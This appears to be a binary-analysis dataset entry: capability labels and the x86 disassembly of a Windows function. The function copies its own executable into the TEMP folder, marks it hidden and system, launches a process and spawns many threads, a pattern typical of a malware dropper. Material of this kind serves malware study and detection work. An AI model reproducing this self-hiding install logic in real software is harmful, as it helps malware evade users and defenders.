Function at 0x4081c0
Capabilities:
Check if file exists
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x17c
mov eax, dword [0x440480]
xor eax, esp
mov dword [esp + 0x178], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
mov dword [esp + 0x20], edi
call fcn.0042105a
add esp, 4
push eax
call fcn.00420f26
add esp, 4
push 0x104
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x443b44], 0
jne 0x40821e
call fcn.00401040
mov byte [0x443b44], 1
mov ecx, dword [0x443b7c]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [esp + 0x7c]
call fcn.00404ef0
add esp, 4
test al, al
je 0x408534
push str.TEMP
call fcn.00420fe0
mov esi, eax
add esp, 4
push str..exe
mov eax, 0x10
mov dword [esp + 0x14], esi
call fcn.00402240
mov dword [esp + 0x18], eax
lea eax, [esp + 0x7c]
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408270
sub eax, edx
mov ebx, eax
cmp byte [0x443b44], cl
jne 0x40828f
call fcn.00401040
mov byte [0x443b44], 1
mov edx, dword [0x443b7c]
mov eax, dword [edx + 0x9c]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082a0
sub eax, edx
mov edi, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082b0
sub eax, edx
mov edx, eax
mov eax, dword [esp + 0x14]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082c2
sub eax, esi
add eax, edx
add eax, edi
lea eax, [eax + ebx + 8]
push eax
call fcn.0041fc44
add esp, 4
cmp byte [0x443b44], 0
mov edi, eax
mov dword [esp + 0x18], edi
jne 0x4082f7
call fcn.00401040
mov byte [0x443b44], 1
mov ecx, dword [0x443b7c]
mov edx, dword [ecx + 0x9c]
push edx
lea eax, [esp + 0x7c]
push eax
push str._s__s.exe
push edi
call fcn.00420e97
push 0x43cd6c
push edi
call fcn.00421a79
add esp, 0x18
test eax, eax
jne 0x40834b
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x408354
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
push 0x43c3ac
push edi
call fcn.00420e97
add esp, 0x10
jmp 0x408354
push eax
call fcn.0042239f
add esp, 4
cmp byte [0x443b44], 0
jne 0x408369
call fcn.00401040
mov byte [0x443b44], 1
mov ecx, dword [0x443b7c]
mov ecx, dword [ecx + 0x98]
push 0
push edi
lea eax, [esp + 0x80]
call fcn.004051c0
add esp, 8
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x19000
call fcn.0041fc44
mov ebx, eax
mov eax, 1
add esp, 4
mov byte [ebx], 0
mov dword [esp + 0x10], eax
cmp dword [0x442d90], eax
jle 0x40848f
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083c0
mov ecx, dword [esp + 0x10]
sub eax, edx
mov edx, eax
mov eax, dword [0x442d94]
mov eax, dword [eax + ecx*4]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083e0
sub eax, esi
lea edx, [eax + edx + 2]
cmp edx, 0x19000
jae 0x40848f
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408400
mov ax, word [0x43c760]
mov ecx, dword [0x442d94]
mov edx, dword [esp + 0x10]
mov word [edi], ax
mov eax, dword [ecx + edx*4]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408420
sub eax, ecx
mov esi, ecx
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408430
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408450
mov ax, word [0x43c760]
mov word [edi], ax
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408464
mov eax, dword [esp + 0x10]
mov cx, word [0x43cca0]
inc eax
mov word [edi], cx
mov edi, dword [esp + 0x18]
mov dword [esp + 0x10], eax
cmp eax, dword [0x442d90]
jl 0x4083b7
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408494
sub eax, edx
mov esi, eax
mov eax, ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4084a4
sub eax, ecx
lea edx, [eax + esi + 8]
push edx
call fcn.0041fc44
add esp, 4
push ebx
push edi
mov esi, eax
push str.__s___s
push esi
call fcn.00420e97
push 0x44
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00428f80
add esp, 0x1c
xor eax, eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push esi
push eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebx
call fcn.00420f1b
add esp, 4
push esi
call fcn.00420f1b
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call fcn.00420f1b
add esp, 4
push edi
call fcn.00420f1b
mov edi, dword [esp + 0x20]
add esp, 4
call fcn.00407510
call fcn.00407420
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x408010
push 0
push 0
call esi
cmp byte [0x443b46], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x408571
push 0x32
call ebx
cmp byte [0x443b46], 0
je 0x408564
call fcn.00407bf0
push 0
push 0
push 0
push 0x408680
push 0
push 0
call esi
call fcn.004061d0
push 0
push 0
push 0
push 0x406920
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4063d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406500
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c50
push 0
push 0
call esi
call fcn.00407e70
push 0
push 0
push 0
push 0x4088b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408c50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409960
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409a80
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409d60
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a550
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40adc0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40be80
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40c8c0
push 0
push 0
call esi
push 0x493e0
call ebx
jmp 0x408668